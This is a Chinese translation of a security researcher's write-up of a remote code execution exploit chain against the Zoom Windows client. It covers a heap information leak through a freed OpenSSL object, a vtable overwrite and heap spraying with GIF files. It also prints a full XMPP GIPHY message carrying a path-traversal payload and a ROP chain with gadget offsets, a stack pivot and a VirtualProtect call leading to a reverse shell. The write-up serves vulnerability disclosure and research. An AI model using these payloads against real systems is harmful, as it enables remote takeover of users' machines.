这允许从下一个块的开始泄漏数据,直到第一个空字节结束。我还在 OpenSSL 的源代码中找到了一个有趣的对象libcrypto-1_1.dll。TLS1_PRF_PKEY_CTX是在 TLS 握手期间使用的对象,用于在握手期间验证拷贝的 MAC,以确保攻击者在握手期间没有更改任何内容。此结构以指向同一 DLL 内另一个结构的指针(散列函数的静态结构)开头。
typedef struct { /* Digest to use for PRF */ const EVP_MD *md; /* Secret value to use for PRF */ unsigned char *sec; size_t seclen; /* Buffer of concatenated seed data */ unsigned char seed[TLS1_PRF_MAXBUF]; size_t seedlen;} TLS1_PRF_PKEY_CTX;
这个对象有一个缺点:它是在一个函数调用中创建、使用和释放的。但幸运的是,OpenSSL 不会清除对象的全部内容,因此这个指针仍会保留在已释放的块中:
static void pkey_tls1_prf_cleanup(EVP_PKEY_CTX *ctx){ TLS1_PRF_PKEY_CTX *kctx = ctx->data; OPENSSL_clear_free(kctx->sec, kctx->seclen); OPENSSL_cleanse(kctx->seed, kctx->seedlen); OPENSSL_free(kctx);}
这意味着可以泄漏想要泄露的指针,但为了做到这一点,需要放置三个对象。需要以正确的顺序在一个存储Bucket中放置 3 个块:我溢出的块、发起的 HTTPS 请求的 URL 的查询部分和一个已释放的TLS1_PRF_PKEY_CTX对象。在漏洞利用中绕过堆随机化的一种常见方法是分配大量对象并反复尝试,但在这种情况下并不会那么简单:我需要足够的对象和溢出才能有成功的机会,还需要允许TLS1_PRF_PKEY_CTX保留释放的对象。如果分配了太多的Query,TLS1_PRF_PKEY_CTX就不会保留任何对象,这是一个很难达到的平衡的点。
我花了几天时间进行尝试,最终泄露了一次地址。慢慢地,我找到了对象和溢出数量的正确字节平衡。
这里的@z\x15p( 0x70157a40) 是泄露的地址libcrypto-1_1.dll:
大大增加成功机会的一件事是使用 TLS 重新协商。该TLS1_PRF_PKEY_CTX对象是在握手期间创建的,但设置新连接需要时间并进行大量分配,这可能会干扰我的堆存储Bucket。发现还可以建立一个连接并重复使用 TLS 重新协商。OpenSSL 支持重新协商,即使你想重新协商数千次而不发送 HTTP 响应,这也完全没问题。我最终创建了 3 个与网络服务器的连接,该服务器除了不断重新协商之外什么都不做。这允许在Bucket的释放空间中创建一个新的释放对象TLS1_PRF_PKEY_CTX的数据流。
然而,信息泄漏仍然是漏洞利用中最不稳定的部分。如果你回头观看漏洞利用视频,那么最长步骤就是等待信息泄漏,此后漏洞利用的其余部分很快就完成了。
0x11 稳定控制
下一步是找到一个可以覆盖虚表或函数指针的对象。再次在 DLL 中找到了一个有用的开源组件。该viper.dll文件包含 2012 年左右的 WebRTC 库的副本。最初,我发现当收到呼叫邀请时,viper.dll会创建 5 个 1064 字节的对象,这些对象都以 vtable 开头。通过搜索 WebRTC 源代码,我发现这些是FileWrapperImpl对象。这些可以看作是添加了一个来自 C++ API 的指针:写入和读取数据的方法、析构函数中的自动关闭和刷新等。如果在调试器中覆盖 vtable,那么在退出 Zoom 之前什么都不会发生,只有这样析构函数才会调用一些 vtable 函数。
class FileWrapperImpl : public FileWrapper { public: FileWrapperImpl(); ~FileWrapperImpl() override; int FileName(char* file_name_utf8, size_t size) const override; bool Open() const override; int OpenFile(const char* file_name_utf8, bool read_only, bool loop = false, bool text = false) override; int OpenFromFileHandle(FILE* handle, bool manage_file, bool read_only, bool loop = false) override; int CloseFile() override; int SetMaxFileSize(size_t bytes) override; int Flush() override; int Read(void* buf, size_t length) override; bool Write(const void* buf, size_t length) override; int WriteText(const char* format, ...) override; int Rewind() override; private: int CloseFileImpl(); int FlushImpl(); std::unique_ptr< RWLockWrapper > rw_lock_; FILE* id_; bool managed_file_handle_; bool open_; bool looping_; bool read_only_; size_t max_size_in_bytes_; // -1 indicates file size limitation is off size_t size_in_bytes_; char file_name_utf8_[kMaxFileNameSize];};
退出时的代码执行并不理想:这意味着每次尝试只有一次机会。如果未能覆盖 vtable,将没有机会再次尝试。也没有办法远程触发一个干净的退出,成功退出的机会也很小。信息泄漏会破坏前一阶段的许多对象和堆数据,如果这些对象未使用,这可能不会影响任何事情,但是如果我尝试退出可能会由于析构函数或释放而导致崩溃。
基于 WebRTC 源代码,我注意到这些FileWrapperImpl对象经常用于与音频播放相关的类中。碰巧的是,Thijs 当时使用的 Windows VM 没有模拟声卡。Daan 建议添加一个,因为它可能对这些对象很重要。添加之后,FileWrapperImpl的创建确实发生了重大变化。
使用模拟声卡,FileWrapperImpl在呼叫时会定期创建和销毁。铃声的每个循环都会触发这些对象的分配和释放。
现在有了一个可以非常可靠地覆盖的 vtable 指针,但现在的问题是:在这个指针上写什么?
0x12 GIPHY
现在已经获得了libcrypto-1_1.dll信息泄漏的偏移量,但我还需要一个我控制的数据地址:如果我覆盖一个 vtable 指针,那么它需要指向一个包含一个或多个函数指针的区域。ASLR 意味着我不确定我的堆分配最终在哪里。为了解决这个问题,我使用了 GIF。
要在 Zoom 中发送消息,接收用户必须事先接受连接请求或与攻击者进行多用户聊天。如果用户能够在 Zoom 中向另一个用户发送带有图像的消息,则该图像会被下载并自动显示(低于几兆字节)。如果它较大,则用户需要单击它才能下载。
在 Zoom 聊天客户端中,也可以从 GIPHY 发送 GIF。对于这些图像,不应用文件大小限制,并且始终会下载和显示文件。用户上传和 GIPHY 文件都是从同一个域下载的,但使用不同的路径。通过发送用于发送 GIPHY 的 XMPP 消息,但使用路径遍历将其指向用户上传的 GIF 文件,我发现可以允许下载任意大小的 GIF 文件。如果文件是有效的 GIF 文件,则将其加载到内存中。如果再次发送相同的链接,那么它不会被下载两次,而是在内存中分配一个新副本。这是我使用的第二个漏洞,也根据 Zoom 安全公告进行了修复。
一条普通的 GIPHY 消息:
< message xmlns="jabber:client" to="[email protected]" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="[email protected]/ZoomChat_pc" > < body >John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download< /body > < thread >gloox{F1FFE4F0-381E-472B-813B-55D766B87742}< /thread > < active xmlns="http://jabber.org/protocol/chatstates"/ > < sns > < format >%[email protected] sent you an image< /format > < args > < arg >John Doe< /arg > < /args > < /sns > < zmext > < msg_type >12< /msg_type > < from n="John Doe" res="ZoomChat_pc"/ > < to/ > < visible >true< /visible > < msg_feature >16384< /msg_feature > < /zmext > < giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker" > < pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-Bdy5aXUiEOV0ZF17hCeWW4SnOllKIrSHUpiq7AlMGTGJsJRHTOC9ikJ3P0TlU1DX-u7TZG3oLIT8BZgzYvfQS-UzYCwm3caA8UUheUluoEEwKArApaBQ3BC4bEE6NpvoDqrX1qX" size="1456787"/ > < mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::_Q5mp2qCa4PVFX8gNWtCmByNUliio7JGEpk7caC9Pfi2T66v2D3Jfy7YNrV_OyIRgdT5KJdffuZsHfYxc86O7bPgKROWPxfiyOHHwjVxkw80ivlkM0kTSItmJfd2bsdryYDnEIGrk-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/ > < bigPicInfo url="https://file.zoom.us/external/link/issue?id=1::hA-lI2ZGxBzgJczWbR4yPQ::ZxQquub32hKf5Tle_fRKGQ::TnskidmcXKrAUhyi4UP_QGp2qGXkApB2u9xEFRp5RHsZu1F6EL1zd-6mAaU7Cm0TiPQnALOnk1-ggJhnbL_S4czgttgdHVRKHP015TcbRo92RVCI351AO8caIsVYyEW5zpoTSmwsoR8t5E6gv4Wbmjx263lTi 1aWl62KifvJ_LDECBM1" size="4322534"/ > < /giphyv2 >< /message >
带有操纵路径的 GIPHY 消息:
< message xmlns="jabber:client" to="[email protected]" id="{62BFB8B6-9572-455C-B440-98F532517177}" type="chat" from="[email protected]/ZoomChat_pc" > < body >John Doe sent you a GIF image. In order to view it, please upgrade to the latest version that supports GIFs: https://www.zoom.us/download < /body > < thread >gloox{F1FFE4F0-381E-472B-813B-55D766B87742} < /thread > < active xmlns="http://jabber.org/protocol/chatstates"/ > < sns > < format >%[email protected] sent you an image < /format > < args > < arg >John Doe < /arg > < /args > < /sns > < zmext > < msg_type >12 < /msg_type > < from n="John Doe" res="ZoomChat_pc"/ > < to/ > < visible >true < /visible > < msg_feature >16384 < /msg_feature > < /zmext > < giphyv2 id="YQitE4YNQNahy" url="https://giphy.com/gifs/YQitE4YNQNahy" tags="hacker" > < pcInfo url="https://file.zoom.us/external/link/issue?id=1::HYlQuJmVbpLCRH1UrxGcLA::aatxNv43wlLYPmeAHSEJ4w::7ZOfQeOxWkdqbfz-Dx-zzununK0e5u80ifybTdCJ-Bdy5aXUiEOV0ZF17hCeWW4SnOllKIrSHUpiq7AlMGTGJsJRHTOC9ikJ3P0TlU1DX-u7TZG3oLIT8BZgzYvfQS-UzYCwm3caA8UUheUluoEEwKArApaBQ3BC4bEE6NpvoDqrX1qX" size="1456787"/ > < mobileInfo url="https://file.zoom.us/external/link/issue?id=1::0ZmI3n09cbxxQtPKqWbv1g::AmSzU9Wrsp617D6cX05tMg::_Q5mp2qCa4PVFX8gNWtCmByNUliio7JGEpk7caC9Pfi2T66v2D3Jfy7YNrV_OyIRgdT5KJdffuZsHfYxc86O7bPgKROWPxfiyOHHwjVxkw80ivlkM0kTSItmJfd2bsdryYDnEIGrk-6WQUBxBOIpyMVJ2itJ-wc6tmOJBUo9-oCHHdi43Dk" size="549356"/ > < bigPicInfo url="https://file.zoom.us/external/link/issue/../../../file/[file_id]" size="4322534"/ > < /giphyv2 > < /message >
我的计划是创建一个 25 MB 的 GIF 文件并多次分配它以创建一个特定的地址,我要的数据将在其中放置。当使用 ASLR 时,这种大小的大分配是随机的,但这些分配仍然是页面对齐的。因为我想要放置的数据远少于一页,所以我可以只创建一页数据并重复该操作。该页面从一个最小的 GIF 文件开始,足以将整个文件视为有效的 GIF 文件。由于 Zoom 是 32 位应用程序,因此可能的地址空间非常小。如果在内存中加载了足够多的 GIF 文件副本(例如,大约 512 MB),那么我可以非常可靠地“猜测”特定地址位于 GIF 文件中。
0x13 ROP
现在有了在 libcrypto-1_1.dll中调用地址的所有部分。但是为了获得任意代码执行,需要调用多个函数。对于现代软件中的堆栈缓冲区溢出,这通常是使用面向返回的编程 (ROP) 来实现的。通过将返回地址放在堆栈上以调用函数或执行特定的寄存器操作,可以通过控制参数顺序调用多个函数。
只有一个堆缓冲区溢出漏洞,还不能对堆栈做任何事情。这样的方式被称为stack pivot:我将堆栈指针的地址替换为指向我控制的数据。我在libcrypto-1_1.dll中找到了以下指令序列:
push edi; # points to vtable pointer (memory we control)pop esp; # now the stack pointer points to memory under our controlpop edi; # pop some extra registerspop esi; pop ebx; pop ebp; ret
这个序列是未对齐的,通常会做其他事情,但对我来说,这可用于将地址复制到覆盖 ( edi) 到堆栈指针的数据中。这意味着我已经用缓冲区溢出写入的数据替换了堆栈。
在 ROP 链中,我想调用VirtualProtect以启用 shellcode 的执行bit。但是,libcrypto-1_1.dll没有 import VirtualProtect,所以我还没有这个地址。来自 32 位 Windows 应用程序的原始系统调用显然很困难。因此,我使用了以下 ROP 链:
调用GetModuleHandleW以获取kernel32.dll的基地址。
调用GetProcAddress以从kernel32.dll获取VirtualProtectfrom的地址。
调用该地址以使 GIF 数据可执行。
跳转到 GIF 中的 shellcode 偏移量。
在下面的动画中,你可以看到如何覆盖 vtable,然后在Close调用时将堆栈跳转为我的缓冲区溢出漏洞。由于pop堆栈stack pivot gadget中的额外指令,一些未使用的值被弹出。然后,ROP 链通过调用我的 GIF 文件中GetModuleHandleW的字符串"kernel32.dll"作为参数来统计 。最后,当从该函数返回时,会调用一个gadget,将结果值放入ebx。这里使用的调用约定意味着参数在返回地址之前通过堆栈传递。
https://sector7.computest.nl/post/2021-08-zoom/Animatie_Rop.webm
在漏洞利用中的 ROP 如下(crypto_base指向libcrypto-1_1.dll之前泄漏的加载地址):
# push edi; pop esp; pop edi; pop esi; pop ebx; pop ebp; retSTACK_PIVOT = crypto_base + 0x441e9GIF_BASE = 0x462bc020VTABLE = GIF_BASE + 0x1c # Start of the correct vtableSHELLCODE = GIF_BASE + 0x7fd # Location of our shellcodeKERNEL32_STR = GIF_BASE + 0x6c # Location of UTF-16 Kernel32.dll stringVIRTUALPROTECT_STR = GIF_BASE + 0x86 # Location of VirtualProtect stringKNOWN_MAPPED = 0x2fe451e4JMP_GETMODULEHANDLEW = crypto_base + 0x1c5c36 # jmp GetModuleHandleWJMP_GETPROCADDRESS = crypto_base + 0x1c5c3c # jmp GetProcAddressRET = crypto_base + 0xdc28 # retPOP_RET = crypto_base + 0xdc27 # pop ebp; retADD_ESP_24 = crypto_base + 0x6c42e # add esp, 0x18; retPUSH_EAX_STACK = crypto_base + 0xdbaa9 # mov dword ptr [esp + 0x1c], eax; call ebxPOP_EBX = crypto_base + 0x16cfc # pop ebx; retJMP_EAX = crypto_base + 0x23370 # jmp eaxrop_stack = [ VTABLE, # pop edi GIF_BASE + 0x101f4, # pop esi GIF_BASE + 0x101f4, # pop ebx KNOWN_MAPPED + 0x20, # pop ebp JMP_GETMODULEHANDLEW, POP_EBX, KERNEL32_STR, ADD_ESP_24, PUSH_EAX_STACK, 0x41414141, POP_RET, # Not used, padding for other objects 0x41414141, 0x41414141, 0x41414141, JMP_GETPROCADDRESS, JMP_EAX, KNOWN_MAPPED + 0x10, # This will be overwritten with the base address of Kernel32.dll VIRTUALPROTECT_STR, SHELLCODE, SHELLCODE & 0xfffff000, 0x1000, 0x40, SHELLCODE - 8,]
现在有一个反向 shell 并且可以启动calc.exe.
0x14 可靠利用
比赛前的最后一周专注于使其达到可接受的可靠性水平。正如我在信息泄露中提到的,这个阶段非常棘手。它花了很多时间才获得成功的机会。我必须在这里覆盖大量数据,但应用程序必须保持足够稳定,以便我仍然可以在不崩溃的情况下执行第二阶段。
在第二阶段,我可能会覆盖不同对象的 vtable。每当我遇到这样的崩溃时,我都会尝试通过在 vtable 中的相应位置放置一个兼容的 no-op 函数来修复它。这比在 32 位 Windows 上听起来更难,因为涉及多个调用约定,有些需要 RET 指令从堆栈中弹出参数,这意味着我需要一个空操作来弹出正确数量的值。
在第一阶段,我也有机会覆盖相同大小范围内的对象中的指针。我还不能处理函数指针或虚拟表,因为我没有信息泄漏,但我可以放置指向可读/可写内存的指针。我通过在此阶段之前上传一些 GIF 文件来创建具有受控数据的已知地址来开始漏洞利用,以便可以在用于溢出的数据中使用这些地址。
可能尚不清楚的是,每次尝试都需要一个缓慢的手动过程。每次我想要运行我的漏洞利用时,我都会启动客户端,清除受害者的所有聊天消息,退出客户端并再次启动它。由于内存布局非常重要,我必须确保每次都从相同的状态开始。我没有自动执行此操作,因为我执着于确保以与比赛期间完全相同的方式使用客户端。我做的任何不同的事情都可能影响堆布局。例如,我注意到添加网络拦截可能会对网络请求的分配方式产生一些影响,从而改变堆布局。我的尝试通常接近 5 分钟,所以即使只尝试 10 次也需要一个小时。
信息泄漏和 vtable 覆盖阶段都在循环中运行。在第一次迭代中,我只会溢出少量次数,并且只有一个对象,但是随着时间的推移,大小会越来越大,溢出会越来越多。
在第二阶段,应用程序不需要在另一个阶段保持足够稳定,我只需要两个相邻的分配,而不是第三个未分配的块。通过进一步覆盖 10 个块,有很大的机会通过一两次迭代来达到所需的对象。
最后,我估计我的漏洞利用在 5 分钟内有大约 50% 的成功机会。另一方面,如果可以在一次运行中泄漏libcrypto-1_1.ddl 的地址,然后在下一次运行中跳过信息泄漏,可以将可靠性提高到大约75%。
在比赛尝试期间,我看不到攻击者的屏幕,因此我不知道一切是否按计划进行,calc.exe弹出时的巨大解脱让我感觉一切努力都值得了。从研究开始到发现漏洞利用的主要漏洞,我总共花费了大约 1.5 周的时间。编写和测试漏洞利用本身又花了 1.5 个月,其中包括我阅读漏洞利用所需的所有 Windows 内部结构所需的时间。
本文翻译自:https://sector7.computest.nl/post/2021-08-zoom/如若转载,请注明原文地址